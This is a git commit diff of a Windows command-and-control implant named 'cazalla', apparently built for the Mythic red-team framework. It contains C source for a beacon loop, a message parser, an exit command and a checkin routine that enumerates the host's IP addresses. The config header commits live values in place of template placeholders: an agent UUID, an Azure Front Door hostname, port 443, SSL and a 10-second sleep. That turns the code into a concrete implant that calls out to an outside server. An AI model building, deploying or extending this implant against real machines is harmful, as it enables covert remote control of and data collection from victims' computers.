v0.5 ps y mejoras
This commit is contained in:
+28
-28
@@ -1,28 +1,28 @@
|
|||||||
|
|
||||||
Copyright (c) 2023, its-a-feature
|
Copyright (c) 2023, its-a-feature
|
||||||
All rights reserved.
|
All rights reserved.
|
||||||
|
|
||||||
Redistribution and use in source and binary forms, with or without
|
Redistribution and use in source and binary forms, with or without
|
||||||
modification, are permitted provided that the following conditions are met:
|
modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
* Redistributions of source code must retain the above copyright notice, this
|
* Redistributions of source code must retain the above copyright notice, this
|
||||||
list of conditions and the following disclaimer.
|
list of conditions and the following disclaimer.
|
||||||
|
|
||||||
* Redistributions in binary form must reproduce the above copyright notice,
|
* Redistributions in binary form must reproduce the above copyright notice,
|
||||||
this list of conditions and the following disclaimer in the documentation
|
this list of conditions and the following disclaimer in the documentation
|
||||||
and/or other materials provided with the distribution.
|
and/or other materials provided with the distribution.
|
||||||
|
|
||||||
* Neither the name of [project] nor the names of its
|
* Neither the name of [project] nor the names of its
|
||||||
contributors may be used to endorse or promote products derived from
|
contributors may be used to endorse or promote products derived from
|
||||||
this software without specific prior written permission.
|
this software without specific prior written permission.
|
||||||
|
|
||||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
|||||||
@@ -1,25 +1,25 @@
|
|||||||
FROM python:3.11
|
FROM python:3.11
|
||||||
|
|
||||||
ARG CA_CERTIFICATE
|
ARG CA_CERTIFICATE
|
||||||
ARG NPM_REGISTRY
|
ARG NPM_REGISTRY
|
||||||
ARG PYPI_INDEX
|
ARG PYPI_INDEX
|
||||||
ARG PYPI_INDEX_URL
|
ARG PYPI_INDEX_URL
|
||||||
ARG DOCKER_REGISTRY_MIRROR
|
ARG DOCKER_REGISTRY_MIRROR
|
||||||
ARG HTTP_PROXY
|
ARG HTTP_PROXY
|
||||||
ARG HTTPS_PROXY
|
ARG HTTPS_PROXY
|
||||||
|
|
||||||
RUN apt-get -y update && \
|
RUN apt-get -y update && \
|
||||||
apt-get -y upgrade && \
|
apt-get -y upgrade && \
|
||||||
apt-get install --no-install-recommends \
|
apt-get install --no-install-recommends \
|
||||||
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
|
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
|
||||||
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
|
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
|
||||||
apt-get purge -y && \
|
apt-get purge -y && \
|
||||||
rm -rf /var/lib/apt/lists/* && \
|
rm -rf /var/lib/apt/lists/* && \
|
||||||
apt-get clean
|
apt-get clean
|
||||||
|
|
||||||
COPY requirements.txt /
|
COPY requirements.txt /
|
||||||
RUN pip3 install -r /requirements.txt
|
RUN pip3 install -r /requirements.txt
|
||||||
|
|
||||||
WORKDIR /Mythic/
|
WORKDIR /Mythic/
|
||||||
|
|
||||||
CMD ["python3", "main.py"]
|
CMD ["python3", "main.py"]
|
||||||
@@ -1,20 +1,20 @@
|
|||||||
import glob
|
import glob
|
||||||
import os.path
|
import os.path
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from importlib import import_module, invalidate_caches
|
from importlib import import_module, invalidate_caches
|
||||||
import sys
|
import sys
|
||||||
# Get file paths of all modules.
|
# Get file paths of all modules.
|
||||||
|
|
||||||
currentPath = Path(__file__)
|
currentPath = Path(__file__)
|
||||||
searchPath = currentPath.parent / "agent_functions" / "*.py"
|
searchPath = currentPath.parent / "agent_functions" / "*.py"
|
||||||
modules = glob.glob(f"{searchPath}")
|
modules = glob.glob(f"{searchPath}")
|
||||||
invalidate_caches()
|
invalidate_caches()
|
||||||
for x in modules:
|
for x in modules:
|
||||||
if not x.endswith("__init__.py") and x[-3:] == ".py":
|
if not x.endswith("__init__.py") and x[-3:] == ".py":
|
||||||
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
|
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
|
||||||
for el in dir(module):
|
for el in dir(module):
|
||||||
if "__" not in el:
|
if "__" not in el:
|
||||||
globals()[el] = getattr(module, el)
|
globals()[el] = getattr(module, el)
|
||||||
|
|
||||||
|
|
||||||
sys.path.append(os.path.abspath(currentPath.name))
|
sys.path.append(os.path.abspath(currentPath.name))
|
||||||
|
|||||||
@@ -1,115 +1,115 @@
|
|||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
|
|
||||||
//Creacion de un nuevo Analizador.
|
//Creacion de un nuevo Analizador.
|
||||||
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
|
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
|
||||||
//v2 change to syscalls
|
//v2 change to syscalls
|
||||||
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
|
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
|
||||||
pAnalizador->buffer = NULL;
|
pAnalizador->buffer = NULL;
|
||||||
pAnalizador->tamano = tamano;
|
pAnalizador->tamano = tamano;
|
||||||
pAnalizador->tamanoOriginal = tamano;
|
pAnalizador->tamanoOriginal = tamano;
|
||||||
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
|
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
|
||||||
|
|
||||||
if (!pAnalizador->original) {
|
if (!pAnalizador->original) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
memcpy(pAnalizador->original, buffer, tamano);
|
memcpy(pAnalizador->original, buffer, tamano);
|
||||||
pAnalizador->buffer = pAnalizador->original;
|
pAnalizador->buffer = pAnalizador->original;
|
||||||
|
|
||||||
return pAnalizador;
|
return pAnalizador;
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID liberarAnalizador(PAnalizador analizador) {
|
VOID liberarAnalizador(PAnalizador analizador) {
|
||||||
|
|
||||||
analizador->original = NULL;
|
analizador->original = NULL;
|
||||||
analizador->buffer = NULL;
|
analizador->buffer = NULL;
|
||||||
LocalFree(analizador);
|
LocalFree(analizador);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
BYTE getByte(PAnalizador analizador) {
|
BYTE getByte(PAnalizador analizador) {
|
||||||
|
|
||||||
BYTE intByte = 0;
|
BYTE intByte = 0;
|
||||||
if (analizador->tamano < 1) {
|
if (analizador->tamano < 1) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
//v2. Syscalls
|
//v2. Syscalls
|
||||||
memcpy(&intByte, analizador->buffer, 1);
|
memcpy(&intByte, analizador->buffer, 1);
|
||||||
analizador->buffer += 1;
|
analizador->buffer += 1;
|
||||||
analizador->tamano -= 1;
|
analizador->tamano -= 1;
|
||||||
|
|
||||||
return intByte;
|
return intByte;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
UINT32 getInt32(PAnalizador analizador) {
|
UINT32 getInt32(PAnalizador analizador) {
|
||||||
|
|
||||||
UINT32 intByte = 0;
|
UINT32 intByte = 0;
|
||||||
if (analizador->tamano < 4) {
|
if (analizador->tamano < 4) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
//v2. Syscalls
|
//v2. Syscalls
|
||||||
memcpy(&intByte, analizador->buffer, 4);
|
memcpy(&intByte, analizador->buffer, 4);
|
||||||
analizador->buffer += 4;
|
analizador->buffer += 4;
|
||||||
analizador->tamano -= 4;
|
analizador->tamano -= 4;
|
||||||
|
|
||||||
return BYTESWAP32(intByte);
|
return BYTESWAP32(intByte);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
UINT64 getInt64(PAnalizador analizador) {
|
UINT64 getInt64(PAnalizador analizador) {
|
||||||
|
|
||||||
UINT64 intByte = 0;
|
UINT64 intByte = 0;
|
||||||
if (analizador->tamano < 8) {
|
if (analizador->tamano < 8) {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
//v2. Syscalls
|
//v2. Syscalls
|
||||||
memcpy(&intByte, analizador->buffer, 8);
|
memcpy(&intByte, analizador->buffer, 8);
|
||||||
analizador->buffer += 8;
|
analizador->buffer += 8;
|
||||||
analizador->tamano -= 8;
|
analizador->tamano -= 8;
|
||||||
|
|
||||||
return BYTESWAP64(intByte);
|
return BYTESWAP64(intByte);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
|
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
|
||||||
|
|
||||||
SIZE_T length = 0;
|
SIZE_T length = 0;
|
||||||
if (*tamano == 0) {
|
if (*tamano == 0) {
|
||||||
|
|
||||||
length = getInt32(analizador);
|
length = getInt32(analizador);
|
||||||
*tamano = length;
|
*tamano = length;
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
|
|
||||||
length = *tamano;
|
length = *tamano;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
|
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
|
||||||
if (!datosDeSalida) {
|
if (!datosDeSalida) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
memcpy(datosDeSalida, analizador->buffer, length);
|
memcpy(datosDeSalida, analizador->buffer, length);
|
||||||
analizador->buffer += length;
|
analizador->buffer += length;
|
||||||
analizador->tamano -= length;
|
analizador->tamano -= length;
|
||||||
|
|
||||||
return datosDeSalida;
|
return datosDeSalida;
|
||||||
}
|
}
|
||||||
|
|
||||||
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
|
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
|
||||||
|
|
||||||
return (PCHAR)getBytes(analizador, tamano);
|
return (PCHAR)getBytes(analizador, tamano);
|
||||||
}
|
}
|
||||||
|
|
||||||
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
|
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
|
||||||
|
|
||||||
return (PWCHAR)getBytes(analizador, tamano);
|
return (PWCHAR)getBytes(analizador, tamano);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,13 +1,13 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#define initUUID "%UUID%"
|
#define initUUID "41c8ef02-b046-4664-97f4-93bfb20335b4"
|
||||||
#define hostname L"%HOSTNAME%"
|
#define hostname L"datto-api-hyfmh8fhgkhwg6f6.a01.azurefd.net"
|
||||||
#define endpoint L"%ENDPOINT%"
|
#define endpoint L"data"
|
||||||
#define ssl %SSL%
|
#define ssl TRUE
|
||||||
#define proxyenabled %PROXYENABLED%
|
#define proxyenabled FALSE
|
||||||
#define proxyurl L"%PROXYURL%"
|
#define proxyurl L""
|
||||||
|
|
||||||
#define useragent L"%USERAGENT%"
|
#define useragent L""
|
||||||
#define httpmethod L"POST"
|
#define httpmethod L"POST"
|
||||||
#define port %PORT%
|
#define port 443
|
||||||
|
|
||||||
#define sleep_time %SLEEPTIME%
|
#define sleep_time 10
|
||||||
@@ -1,43 +1,43 @@
|
|||||||
# Compiler
|
# Compiler
|
||||||
CC = x86_64-w64-mingw32-gcc
|
CC = x86_64-w64-mingw32-gcc
|
||||||
CFLAGS = -Wall -w -s -IInclude
|
CFLAGS = -Wall -w -s -IInclude
|
||||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
||||||
DFLAGS = -D_DEBUG
|
DFLAGS = -D_DEBUG
|
||||||
|
|
||||||
# Directories
|
# Directories
|
||||||
SRC_FILES := *.c
|
SRC_FILES := *.c
|
||||||
BUILD_DIR = build
|
BUILD_DIR = build
|
||||||
|
|
||||||
# Ensure build directory exists
|
# Ensure build directory exists
|
||||||
$(shell mkdir -p $(BUILD_DIR))
|
$(shell mkdir -p $(BUILD_DIR))
|
||||||
|
|
||||||
# Build Targets
|
# Build Targets
|
||||||
all: exe dll
|
all: exe dll
|
||||||
|
|
||||||
exe: $(BUILD_DIR)/cazalla.exe
|
exe: $(BUILD_DIR)/cazalla.exe
|
||||||
|
|
||||||
dll: $(BUILD_DIR)/cazalla.dll
|
dll: $(BUILD_DIR)/cazalla.dll
|
||||||
|
|
||||||
debug: debug_exe debug_dll
|
debug: debug_exe debug_dll
|
||||||
|
|
||||||
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
||||||
|
|
||||||
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
||||||
|
|
||||||
# Executable Target
|
# Executable Target
|
||||||
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
|
||||||
|
|
||||||
# DLL Target
|
# DLL Target
|
||||||
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
||||||
|
|
||||||
# Clean up
|
# Clean up
|
||||||
clean:
|
clean:
|
||||||
rm -rf $(BUILD_DIR)
|
rm -rf $(BUILD_DIR)
|
||||||
|
|||||||
@@ -1,26 +1,26 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#ifndef ANALIZADOR_H
|
#ifndef ANALIZADOR_H
|
||||||
#define ANALIZADOR_H
|
#define ANALIZADOR_H
|
||||||
|
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
|
|
||||||
PBYTE original;
|
PBYTE original;
|
||||||
PBYTE buffer;
|
PBYTE buffer;
|
||||||
SIZE_T tamano;
|
SIZE_T tamano;
|
||||||
SIZE_T tamanoOriginal;
|
SIZE_T tamanoOriginal;
|
||||||
|
|
||||||
} Analizador, * PAnalizador;
|
} Analizador, * PAnalizador;
|
||||||
|
|
||||||
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
|
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
|
||||||
VOID liberarAnalizador(PAnalizador analizador);
|
VOID liberarAnalizador(PAnalizador analizador);
|
||||||
|
|
||||||
BYTE getByte(PAnalizador analizador);
|
BYTE getByte(PAnalizador analizador);
|
||||||
UINT32 getInt32(PAnalizador analizador);
|
UINT32 getInt32(PAnalizador analizador);
|
||||||
UINT64 getInt64(PAnalizador analizador);
|
UINT64 getInt64(PAnalizador analizador);
|
||||||
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
|
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
|
||||||
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
|
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
|
||||||
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
|
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -1,39 +1,39 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "Config.h"
|
#include "Config.h"
|
||||||
|
|
||||||
CONFIG_CAZALLA* cazallaConfig = NULL;
|
CONFIG_CAZALLA* cazallaConfig = NULL;
|
||||||
|
|
||||||
VOID cazallaMain() {
|
VOID cazallaMain() {
|
||||||
|
|
||||||
//v2: evitar LocalAlloc
|
//v2: evitar LocalAlloc
|
||||||
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
||||||
cazallaConfig->idAgente = (PCHAR)initUUID;
|
cazallaConfig->idAgente = (PCHAR)initUUID;
|
||||||
cazallaConfig->hostName = (PWCHAR)hostname;
|
cazallaConfig->hostName = (PWCHAR)hostname;
|
||||||
cazallaConfig->puertoHttp = port;
|
cazallaConfig->puertoHttp = port;
|
||||||
cazallaConfig->endPoint = (PWCHAR)endpoint;
|
cazallaConfig->endPoint = (PWCHAR)endpoint;
|
||||||
cazallaConfig->userAgent = (PWCHAR)useragent;
|
cazallaConfig->userAgent = (PWCHAR)useragent;
|
||||||
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
|
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
|
||||||
cazallaConfig->SSL = ssl;
|
cazallaConfig->SSL = ssl;
|
||||||
cazallaConfig->proxyHabilitado = proxyenabled;
|
cazallaConfig->proxyHabilitado = proxyenabled;
|
||||||
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||||
cazallaConfig->tiempoSleep = sleep_time * 1000;
|
cazallaConfig->tiempoSleep = sleep_time*1000;
|
||||||
|
|
||||||
PAnalizador respuestaAnalizador = checkin();
|
PAnalizador respuestaAnalizador = checkin();
|
||||||
|
|
||||||
if (!respuestaAnalizador) {
|
if (!respuestaAnalizador) {
|
||||||
_err("error en el primer checkin, cerrando\n");
|
_err("error en el primer checkin, cerrando\n");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
parseChecking(respuestaAnalizador);
|
parseChecking(respuestaAnalizador);
|
||||||
|
|
||||||
while (TRUE){
|
while (TRUE){
|
||||||
rutina();
|
rutina();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID setUUID(PCHAR newUUID) {
|
VOID setUUID(PCHAR newUUID) {
|
||||||
cazallaConfig->idAgente = newUUID;
|
cazallaConfig->idAgente = newUUID;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,35 +1,35 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#ifndef CAZALLA_H
|
#ifndef CAZALLA_H
|
||||||
#define CAZALLA_H
|
#define CAZALLA_H
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
#include "checkin.h"
|
#include "checkin.h"
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
// UUID
|
// UUID
|
||||||
PCHAR idAgente;
|
PCHAR idAgente;
|
||||||
//HTTP
|
//HTTP
|
||||||
PWCHAR hostName;
|
PWCHAR hostName;
|
||||||
DWORD puertoHttp;
|
DWORD puertoHttp;
|
||||||
PWCHAR endPoint;
|
PWCHAR endPoint;
|
||||||
PWCHAR userAgent;
|
PWCHAR userAgent;
|
||||||
PWCHAR metodoHttp;
|
PWCHAR metodoHttp;
|
||||||
|
|
||||||
BOOL SSL;
|
BOOL SSL;
|
||||||
BOOL proxyHabilitado;
|
BOOL proxyHabilitado;
|
||||||
PWCHAR urlProxy;
|
PWCHAR urlProxy;
|
||||||
|
|
||||||
UINT32 tiempoSleep;
|
UINT32 tiempoSleep;
|
||||||
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
|
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
|
||||||
|
|
||||||
extern PCONFIG_CAZALLA cazallaConfig;
|
extern PCONFIG_CAZALLA cazallaConfig;
|
||||||
|
|
||||||
|
|
||||||
VOID setUUID(PCHAR newUUID);
|
VOID setUUID(PCHAR newUUID);
|
||||||
VOID cazallaMain();
|
VOID cazallaMain();
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
@@ -1,35 +1,35 @@
|
|||||||
#include "cerrarCallback.h"
|
#include "cerrarCallback.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
#include <processthreadsapi.h>
|
#include <processthreadsapi.h>
|
||||||
|
|
||||||
|
|
||||||
BOOL cerrarCallback(PAnalizador argumentos){
|
BOOL cerrarCallback(PAnalizador argumentos){
|
||||||
|
|
||||||
SIZE_T tamanoUuid = 36;
|
SIZE_T tamanoUuid = 36;
|
||||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||||
|
|
||||||
// Crear paquete de respuesta
|
// Crear paquete de respuesta
|
||||||
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
|
|
||||||
// Si falla la creación del paquete, cerramos con error
|
// Si falla la creación del paquete, cerramos con error
|
||||||
if (!paquete) {
|
if (!paquete) {
|
||||||
ExitProcess(1);
|
ExitProcess(1);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Agregar el UUID de la tarea
|
// Agregar el UUID de la tarea
|
||||||
addString(paquete, tareaUuid, FALSE);
|
addString(paquete, tareaUuid, FALSE);
|
||||||
|
|
||||||
// Indicar que la tarea se completó con éxito
|
// Indicar que la tarea se completó con éxito
|
||||||
addByte(paquete, TASK_COMPLETE);
|
addByte(paquete, TASK_COMPLETE);
|
||||||
|
|
||||||
// Enviar el paquete
|
// Enviar el paquete
|
||||||
mandarPaquete(paquete);
|
mandarPaquete(paquete);
|
||||||
|
|
||||||
// Liberar memoria del paquete
|
// Liberar memoria del paquete
|
||||||
liberarPaquete(paquete);
|
liberarPaquete(paquete);
|
||||||
|
|
||||||
// Terminar el proceso
|
// Terminar el proceso
|
||||||
ExitProcess(0);
|
ExitProcess(0);
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
@@ -1,11 +1,11 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#ifndef EXIT_H
|
#ifndef EXIT_H
|
||||||
#define EXIT_H
|
#define EXIT_H
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
|
|
||||||
BOOL cerrarCallback(PAnalizador argumentos);
|
BOOL cerrarCallback(PAnalizador argumentos);
|
||||||
|
|
||||||
|
|
||||||
#endif //EXIT_H
|
#endif //EXIT_H
|
||||||
@@ -1,196 +1,196 @@
|
|||||||
#include "checkin.h"
|
#include "checkin.h"
|
||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
|
|
||||||
#pragma comment(lib, "iphlpapi.lib")
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
#include <iphlpapi.h>
|
#include <iphlpapi.h>
|
||||||
|
|
||||||
// Obtener Direcciones IPs.
|
// Obtener Direcciones IPs.
|
||||||
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||||
|
|
||||||
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
||||||
DWORD dwSize = 0;
|
DWORD dwSize = 0;
|
||||||
DWORD dwRetVal = 0;
|
DWORD dwRetVal = 0;
|
||||||
IN_ADDR IPAddr;
|
IN_ADDR IPAddr;
|
||||||
LPVOID lpMsgBuf;
|
LPVOID lpMsgBuf;
|
||||||
|
|
||||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
||||||
if (pTablaDireccionesIP) {
|
if (pTablaDireccionesIP) {
|
||||||
|
|
||||||
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
||||||
|
|
||||||
LocalFree(pTablaDireccionesIP);
|
LocalFree(pTablaDireccionesIP);
|
||||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (pTablaDireccionesIP == NULL) {
|
if (pTablaDireccionesIP == NULL) {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
||||||
|
|
||||||
return NULL;
|
return NULL;
|
||||||
|
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
|
|
||||||
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
||||||
}
|
}
|
||||||
|
|
||||||
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
||||||
|
|
||||||
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
||||||
|
|
||||||
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
||||||
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (pTablaDireccionesIP) {
|
if (pTablaDireccionesIP) {
|
||||||
|
|
||||||
LocalFree(pTablaDireccionesIP);
|
LocalFree(pTablaDireccionesIP);
|
||||||
}
|
}
|
||||||
|
|
||||||
return tableOfIPs;
|
return tableOfIPs;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
// Obtener la arquitectura
|
